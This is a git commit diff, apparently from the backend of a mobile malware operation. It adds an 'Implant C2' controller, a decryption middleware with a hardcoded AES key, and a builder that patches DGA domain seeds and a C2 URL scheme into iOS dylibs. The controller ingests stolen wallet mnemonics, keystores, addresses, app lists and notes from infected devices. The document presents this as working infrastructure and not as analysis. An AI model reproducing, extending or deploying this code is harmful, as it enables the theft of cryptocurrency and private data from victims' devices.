feat: xxbb

This commit is contained in:
hashbro
2026-08-13 06:30:07 +08:00
parent f285d35d86
commit c6e386e069
121 changed files with 4083 additions and 51 deletions
+2
View File
@@ -68,6 +68,8 @@ CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
CORUNA_STATIC_SITE_SCHEME=https
# Native DGA/C2 URL scheme in xxbb type-0x01 (keep https; ATS blocks http:// to .icu hosts)
CORUNA_XXBB_C2_SCHEME=https
# Max channel links per agent (super-admin settings can override)
CORUNA_MAX_CHANNELS_PER_AGENT=5
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
+6
View File
@@ -32,3 +32,9 @@ Thumbs.db
/channel-builder/.venv
/channel-builder/out
/storage/app/channel-builder
/channel-builder-new/.venv
/channel-builder-new/out
/public/source
/public/weifile
/public/details
/storage/app/channel-builder-new
@@ -52,7 +52,7 @@ class ChannelController extends Controller
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -68,6 +68,8 @@ class ChannelController extends Controller
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(),
'channel_name' => $c->channel_name ?: '',
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
@@ -101,6 +103,7 @@ class ChannelController extends Controller
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
'user_id' => ['nullable', 'integer', 'min:0'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
@@ -114,6 +117,8 @@ class ChannelController extends Controller
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
$channelName = $builderType === Channel::BUILDER_NEW ? Channel::randomChannelName() : null;
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
@@ -123,7 +128,10 @@ class ChannelController extends Controller
$supportTemplate,
$data['deployment_seed'] ?? null,
$data['reporting_seed'] ?? null,
$builderType,
$channelName,
);
$channelName = $build['channel_name'] ?? $channelName;
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
@@ -132,7 +140,7 @@ class ChannelController extends Controller
}
try {
$channel = DB::transaction(function () use ($data, $userId) {
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
@@ -144,6 +152,8 @@ class ChannelController extends Controller
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'builder_type' => $builderType,
'channel_name' => $channelName,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
@@ -151,7 +161,7 @@ class ChannelController extends Controller
]);
});
} catch (\Throwable $e) {
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
return response()->json([
'code' => 1,
@@ -164,13 +174,16 @@ class ChannelController extends Controller
'msg' => 'ok',
'data' => [
'id' => $channel->id,
'builder_type' => $channel->builderType(),
'channel_name' => $channel->channel_name,
'links' => $channel->supportLinks(),
'seeds' => $build['seeds'],
'domains' => $build['domains'],
'seeds_initialized' => $build['seeds_initialized'],
'sync_rebuilt' => $build['sync_rebuilt'],
'support_path' => $build['support_path'],
'daily_path' => $build['daily_path'],
'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '',
],
]);
}
@@ -229,10 +242,12 @@ class ChannelController extends Controller
$this->authorizeChannel($channel);
$channelId = $channel->channel_id;
$builderType = $channel->builderType();
$channelName = $channel->channel_name;
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId);
$projects->deleteWebTree($channelId, $builderType, $channelName);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
@@ -271,7 +286,9 @@ class ChannelController extends Controller
private function compensateBuildUnlessChannelExists(
ChannelProjectService $projects,
string $channelId
string $channelId,
string $builderType = Channel::BUILDER_OLD,
?string $channelName = null,
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
@@ -289,10 +306,12 @@ class ChannelController extends Controller
}
try {
$projects->deleteWebTree($channelId);
$projects->deleteWebTree($channelId, $builderType, $channelName);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'builder_type' => $builderType,
'channel_name' => $channelName,
'error' => $e->getMessage(),
]);
}
@@ -0,0 +1,146 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Models\PageVisit;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*/
class XxbbC2Controller extends Controller
{
public function __construct(
private readonly IngestService $ingest,
) {}
public function vhx(): Response
{
return response('ok', 200)->header('Content-Type', 'text/plain');
}
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
*/
public function iptj(Request $request): Response
{
$payload = $request->json()->all();
if ($payload === []) {
$decoded = json_decode((string) $request->getContent(), true);
$payload = is_array($decoded) ? $decoded : [];
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
if ($channelCode !== '' && strlen($channelCode) <= 64) {
$uid = $domain !== '' ? $domain : (string) $request->ip();
$uid = substr($uid, 0, 64);
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid !== '' ? $uid : 'iptj',
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
'created_at' => now(),
]);
}
}
return response('{}', 200)->header('Content-Type', 'application/json');
}
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
public function profile(Request $request): Response
{
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/get */
public function apps(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestInstalledApps($device, $payload);
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/put */
public function event(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* Plugin reports: /uj /us /ub /ba /result.
* Dispatch by payload shape onto the same ingest as lab long paths.
*/
public function plugin(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
$this->ingest->ingestAddresses($device, $payload);
}
if (array_key_exists('result', $payload)) {
$result = $payload['result'];
$asKeystore = is_array($result);
if (is_string($result)) {
$decoded = json_decode($result, true);
$asKeystore = is_array($decoded);
}
if ($asKeystore) {
$this->ingest->ingestKeystore($device, $payload);
} else {
$this->ingest->ingestMnemonic($device, $payload);
}
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, $payload);
}
}
return $this->xxbbAck($request);
}
private function xxbbAck(Request $request): Response
{
$ts = (string) $request->attributes->get('xxbb_ts', '');
if ($ts === '') {
$ts = (string) ($request->header('x-ts') ?: '');
}
if ($ts === '') {
$ts = (string) (int) round(microtime(true) * 1000);
}
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
}
}
+105
View File
@@ -0,0 +1,105 @@
<?php
namespace App\Http\Middleware;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
/**
* xxbb native reporting: same AES envelope as lab, header is x-ts,
* session key is hardcoded Ek8pl31K2yeHgQwy.
*/
class DecryptXxbbBody
{
public static function crypto(): CorunaCrypto
{
return app('xxbb.crypto');
}
public function handle(Request $request, Closure $next): Response
{
$crypto = self::crypto();
$headers = [];
foreach (['x-ts', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
if ($request->headers->has($h)) {
$headers[$h] = $request->headers->get($h);
}
}
$raw = $request->getContent();
$timestamp = (string) $request->header('x-ts', '');
$payload = null;
$decryptOk = false;
$error = null;
$deviceKey = null;
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
$path = '/'.ltrim($request->path(), '/');
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
$decryptOk = true;
} elseif ($isMultipart) {
$payload = [
'form' => $request->except(['file']),
'has_file' => $request->hasFile('file'),
];
$decryptOk = true;
$deviceKey = $request->input('d') ?: $request->input('f');
} elseif ($raw !== '' && $timestamp !== '') {
try {
$payload = $crypto->decryptJsonBody($raw, $timestamp);
$decryptOk = true;
} catch (\Throwable $e) {
$error = $e->getMessage();
}
} elseif ($raw === '') {
$decryptOk = true;
} else {
$error = 'missing x-ts or body';
}
if (is_array($payload)) {
foreach (['d', 'f'] as $k) {
if (! empty($payload[$k]) && is_string($payload[$k])) {
$deviceKey = $payload[$k];
break;
}
}
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
foreach (['d', 'f'] as $k) {
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
$deviceKey = $payload['form'][$k];
break;
}
}
}
}
if (is_string($deviceKey) && $deviceKey !== '') {
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
'dir' => 'in',
'campaign' => 'xxbb',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'c2');
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
$request->attributes->set('coruna_device_key', $deviceKey);
$request->attributes->set('xxbb_ts', $timestamp);
return $next($request);
}
}
+78 -2
View File
@@ -4,13 +4,39 @@ namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use RuntimeException;
class Channel extends Model
{
public const OFFICIAL_USER_ID = 0;
public const BUILDER_OLD = 'old';
public const BUILDER_NEW = 'new';
public const CHANNEL_NAME_LENGTH = 8;
/**
* Public-root path prefixes that must not be used as channel_name.
*
* @var list<string>
*/
public const RESERVED_CHANNEL_NAMES = [
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
'sanctum', 'telescope', 'horizon', 'pulse',
];
protected $fillable = [
'channel_id', 'user_id', 'domains', 'status', 'remark',
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
];
protected $attributes = [
'builder_type' => self::BUILDER_OLD,
];
protected function casts(): array
@@ -37,6 +63,18 @@ class Channel extends Model
return (int) $this->user_id === self::OFFICIAL_USER_ID;
}
public function isNewBuilder(): bool
{
return $this->builderType() === self::BUILDER_NEW;
}
public function builderType(): string
{
$type = strtolower(trim((string) ($this->builder_type ?? '')));
return $type === self::BUILDER_NEW ? self::BUILDER_NEW : self::BUILDER_OLD;
}
public function agentLabel(): string
{
if ($this->isOfficial()) {
@@ -83,13 +121,25 @@ class Channel extends Model
}, $domains))));
}
public function landingPath(): string
{
if ($this->isNewBuilder()) {
$name = strtolower(trim((string) ($this->channel_name ?? '')));
if ($name !== '') {
return '/source/'.$name.'/index.html';
}
}
return '/web/'.$this->channel_id.'/support.html';
}
/**
* @return list<string>
*/
public function supportLinks(): array
{
$links = [];
$path = '/web/'.$this->channel_id.'/support.html';
$path = $this->landingPath();
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
foreach ($this->resolvedDomains() as $domain) {
$origin = rtrim($domain, '/');
@@ -110,6 +160,32 @@ class Channel extends Model
return bin2hex(random_bytes(16));
}
public static function isReservedChannelName(string $name): bool
{
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
}
public static function randomChannelName(): string
{
for ($i = 0; $i < 32; $i++) {
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
if (self::isReservedChannelName($name)) {
continue;
}
if (self::query()->where('channel_name', $name)->exists()) {
continue;
}
$public = public_path('source/'.$name);
if (is_dir($public) || is_file($public)) {
continue;
}
return $name;
}
throw new RuntimeException('无法生成唯一 channel_name');
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
+6
View File
@@ -22,6 +22,12 @@ class AppServiceProvider extends ServiceProvider
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
});
$this->app->singleton('xxbb.crypto', function () {
$key = config('coruna.xxbb.session_key', 'Ek8pl31K2yeHgQwy');
return new CorunaCrypto(is_string($key) && $key !== '' ? $key : 'Ek8pl31K2yeHgQwy');
});
$this->app->singleton(CorunaArchive::class, function ($app) {
return new CorunaArchive(
$app->make(CorunaCrypto::class),
+237 -32
View File
@@ -2,6 +2,7 @@
namespace App\Services;
use App\Models\Channel;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use RuntimeException;
@@ -12,18 +13,25 @@ class ChannelProjectService
public const DEFAULT_SUPPORT_TEMPLATE = 'test';
public const BUILDER_OLD = Channel::BUILDER_OLD;
public const BUILDER_NEW = Channel::BUILDER_NEW;
public const RESULT_MARKER = 'CORUNA_BUILD_RESULT ';
/**
* Build channel web assets (and shared sync on first/changed seeds) via channel-builder.
* Build channel web assets via the old or new channel builder.
*
* @return array{
* channel_id: string,
* seeds: array{deployment_seed: string, reporting_seed: string},
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
* sync_rebuilt: bool,
* support_path: string,
* weifile_path: ?string,
* daily_path: string,
* support_template?: string,
* }
@@ -33,18 +41,105 @@ class ChannelProjectService
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
?string $deploymentSeed = null,
?string $reportingSeed = null,
string $builderType = self::BUILDER_OLD,
?string $channelName = null,
): array {
$builderType = $this->normalizeBuilderType($builderType);
$channelId = $this->normalizeChannelId($channelId);
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds($deploymentSeed, $reportingSeed);
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
$deploymentSeed,
$reportingSeed,
);
if ($builderType === self::BUILDER_NEW) {
return $this->generateNew(
$channelId,
$channelName,
$deploymentSeed,
$reportingSeed,
);
}
return $this->generateOld(
$channelId,
$supportTemplate,
$deploymentSeed,
$reportingSeed,
);
}
public function deleteWebTree(
string $channelId,
string $builderType = self::BUILDER_OLD,
?string $channelName = null,
): void {
$builderType = $this->normalizeBuilderType($builderType);
if ($builderType === self::BUILDER_NEW) {
$name = strtolower(trim((string) $channelName));
if ($name === '') {
return;
}
$cmd = [
$this->pythonBinary($builderType),
$this->builderScript('delete_channel.py', $builderType),
'--artifact-root',
$this->artifactRoot(),
'--channel-name',
$name,
];
$this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType));
return;
}
try {
$channelId = $this->normalizeChannelId($channelId);
} catch (RuntimeException) {
return;
}
$cmd = [
$this->pythonBinary(),
$this->builderScript('new_project.py'),
$this->pythonBinary($builderType),
$this->builderScript('delete_channel_web.py', $builderType),
'--artifact-root',
$this->artifactRoot(),
'--channel-id',
$channelId,
];
$this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType));
}
/**
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
* sync_rebuilt: bool,
* support_path: string,
* weifile_path: ?string,
* daily_path: string,
* support_template?: string,
* }
*/
private function generateOld(
string $channelId,
string $supportTemplate,
?string $deploymentSeed,
?string $reportingSeed,
): array {
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
$cmd = [
$this->pythonBinary(self::BUILDER_OLD),
$this->builderScript('new_project.py', self::BUILDER_OLD),
'--artifact-root',
$this->artifactRoot(),
'--state-root',
$this->stateRoot(),
$this->stateRoot(self::BUILDER_OLD),
'--channel-id',
$channelId,
'--support-template',
@@ -58,10 +153,13 @@ class ChannelProjectService
$cmd[] = $reportingSeed;
}
$result = $this->runBuilder($cmd, '生成渠道资源失败');
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
$supportPath = (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html');
return [
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
'builder_type' => self::BUILDER_OLD,
'channel_name' => null,
'seeds' => [
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
@@ -72,41 +170,98 @@ class ChannelProjectService
],
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
'support_path' => (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html'),
'support_path' => $supportPath,
'weifile_path' => null,
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
];
}
public function deleteWebTree(string $channelId): void
{
try {
$channelId = $this->normalizeChannelId($channelId);
} catch (RuntimeException) {
return;
/**
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
* sync_rebuilt: bool,
* support_path: string,
* weifile_path: ?string,
* daily_path: string,
* support_template?: string,
* }
*/
private function generateNew(
string $channelId,
?string $channelName,
?string $deploymentSeed,
?string $reportingSeed,
): array {
$channelName = $this->normalizeChannelName((string) $channelName);
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
}
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
if (! in_array($scheme, ['http', 'https'], true)) {
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
}
$cmd = [
$this->pythonBinary(),
$this->builderScript('delete_channel_web.py'),
$this->pythonBinary(self::BUILDER_NEW),
$this->builderScript('build.py', self::BUILDER_NEW),
'--artifact-root',
$this->artifactRoot(),
'--channel-id',
'--state-root',
$this->stateRoot(self::BUILDER_NEW),
'--channel-name',
$channelName,
'--channel-c',
$channelId,
'--scheme',
$scheme,
'--apply',
'--force',
];
if ($deploymentSeed !== null && $reportingSeed !== null) {
$cmd[] = '--deployment-seed';
$cmd[] = $deploymentSeed;
$cmd[] = '--reporting-seed';
$cmd[] = $reportingSeed;
}
$this->runBuilder($cmd, '删除渠道资源失败');
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
$weifilePath = '/source/'.$channelName.'/index.html';
return [
'channel_id' => $channelId,
'builder_type' => self::BUILDER_NEW,
'channel_name' => $channelName,
'seeds' => [
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
],
'domains' => [
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
],
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
'weifile_path' => $weifilePath,
'daily_path' => '',
];
}
/**
* @param list<string> $cmd
* @return array<string, mixed>
*/
private function runBuilder(array $cmd, string $errorPrefix): array
private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array
{
$timeout = (float) config('coruna.channel_builder.timeout', 600);
$process = Process::timeout((int) max(1, $timeout))
->path(base_path('channel-builder'))
->path($cwd)
->run($cmd);
if (! $process->successful()) {
@@ -147,24 +302,34 @@ class ChannelProjectService
throw new RuntimeException("{$errorPrefix}: missing builder result marker");
}
private function pythonBinary(): string
private function pythonBinary(string $builderType): string
{
$configured = trim((string) config('coruna.channel_builder.python', ''));
$configKey = $builderType === self::BUILDER_NEW
? 'coruna.channel_builder_new.python'
: 'coruna.channel_builder.python';
$configured = trim((string) config($configKey, ''));
if ($configured !== '') {
return $configured;
}
$venv = base_path('channel-builder/.venv/bin/python');
$venv = $this->builderCwd($builderType).'/.venv/bin/python';
if (is_file($venv)) {
return $venv;
}
if ($builderType === self::BUILDER_NEW) {
$fallback = base_path('channel-builder/.venv/bin/python');
if (is_file($fallback)) {
return $fallback;
}
}
return 'python3';
}
private function builderScript(string $name): string
private function builderScript(string $name, string $builderType): string
{
$path = base_path('channel-builder/tools/'.$name);
$path = $this->builderCwd($builderType).'/tools/'.$name;
if (! is_file($path)) {
throw new RuntimeException("渠道构建脚本不存在: {$path}");
}
@@ -172,6 +337,13 @@ class ChannelProjectService
return $path;
}
private function builderCwd(string $builderType): string
{
return $builderType === self::BUILDER_NEW
? base_path('channel-builder-new')
: base_path('channel-builder');
}
private function artifactRoot(): string
{
$root = trim((string) config('coruna.channel_builder.artifact_root', ''));
@@ -182,11 +354,16 @@ class ChannelProjectService
return $this->ensureDirectory($root, '产物目录');
}
private function stateRoot(): string
private function stateRoot(string $builderType): string
{
$root = trim((string) config('coruna.channel_builder.state_root', ''));
$key = $builderType === self::BUILDER_NEW
? 'coruna.channel_builder_new.state_root'
: 'coruna.channel_builder.state_root';
$root = trim((string) config($key, ''));
if ($root === '') {
$root = storage_path('app/channel-builder');
$root = $builderType === self::BUILDER_NEW
? storage_path('app/channel-builder-new')
: storage_path('app/channel-builder');
}
return $this->ensureDirectory($root, '构建状态目录');
@@ -201,6 +378,19 @@ class ChannelProjectService
return $root;
}
private function normalizeBuilderType(string $builderType): string
{
$builderType = strtolower(trim($builderType));
if ($builderType === '') {
return self::BUILDER_OLD;
}
if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW], true)) {
throw new RuntimeException('无效的渠道类型(支持: old, new)');
}
return $builderType;
}
private function normalizeChannelId(string $channelId): string
{
$channelId = strtolower(trim($channelId));
@@ -211,6 +401,19 @@ class ChannelProjectService
return $channelId;
}
private function normalizeChannelName(string $channelName): string
{
$channelName = strtolower(trim($channelName));
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
throw new RuntimeException('Invalid channel name');
}
if (Channel::isReservedChannelName($channelName)) {
throw new RuntimeException('channel_name 与保留路径冲突');
}
return $channelName;
}
private function normalizeSupportTemplate(string $supportTemplate): string
{
$supportTemplate = strtolower(trim($supportTemplate));
@@ -229,8 +432,10 @@ class ChannelProjectService
/**
* @return array{0: ?string, 1: ?string}
*/
private function normalizeOptionalSeeds(?string $deploymentSeed, ?string $reportingSeed): array
{
private function normalizeOptionalSeeds(
?string $deploymentSeed,
?string $reportingSeed,
): array {
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
+1 -1
View File
@@ -43,7 +43,7 @@ class ChannelCommand
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
$links = $channel->supportLinks();
$link = $links[0] ?? ('/web/'.$channel->channel_id.'/support.html');
$link = $links[0] ?? $channel->landingPath();
if (strlen($link) > 256) {
$link = substr($link, 0, 256);
}
+10
View File
@@ -11,6 +11,7 @@ return Application::configure(basePath: dirname(__DIR__))
then: function () {
// Implant C2: no CSRF / session
require __DIR__.'/../routes/c2.php';
require __DIR__.'/../routes/xxbb.php';
// External webhooks (no CSRF)
require __DIR__.'/../routes/hooks.php';
@@ -45,6 +46,15 @@ return Application::configure(basePath: dirname(__DIR__))
'link/*',
'hooks/*',
'statistic/t',
'vhx',
'event',
'a',
'u',
'uj',
'us',
'ub',
'ba',
'result',
]);
$middleware->redirectGuestsTo(function () {
+41
View File
@@ -0,0 +1,41 @@
# channel-builder-new
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
(lab `web/` + `sync/` layout). New-type channels are distinguished by
`/source/{channel_name}/index.html`.
This pass patches **weifile secondary type-0x01 only** (DGA seeds + reporting
field `c`). `details/` is copied as-is (core/`c` not rewritten yet).
```bash
cd channel-builder-new
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python tools/build.py \
--channel-name <8-32-alnum> \
--apply --force
```
Writes `{artifact-root}/source/{channel_name}/` (landing `index.html`) and
shared `{artifact-root}/details/` (default `../public`).
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
First generate writes one random seed and copies it to both deployment and
reporting (same as `channel-builder`). CLI pair must also match. The first 5
PLServerPool DGA candidates are stored in `lab_seeds.json` and returned in
the create result (`domains.deployment` / `domains.reporting`).
| Flag | What it replaces | Where |
|------|------------------|--------|
| `--deployment-seed` | DGA seed → `%@.icu` / `backup%u.icu` | secondary dylibs (1 hit each) |
| `--reporting-seed` | Reporting DGA seed | secondary dylibs (1 hit each) |
| `--channel-c` | Native report field `c` (`202700cf…`) | secondary dylibs (1 hit each) |
| `--scheme` | Native DGA/C2 URL scheme (`https://%@` / `https://backup%u.icu`) | secondary dylibs (default `https`; `http` is ATS-blocked on device for `.icu` hosts) |
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
(one nibble off `c`). Details modules still decrypt with that password.
`index.js` iptj URL / `channelCode` are not patched here. Native `/event`
`c` still comes from core until a later details pass.
+1
View File
@@ -0,0 +1 @@
pycryptodome>=3.19
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
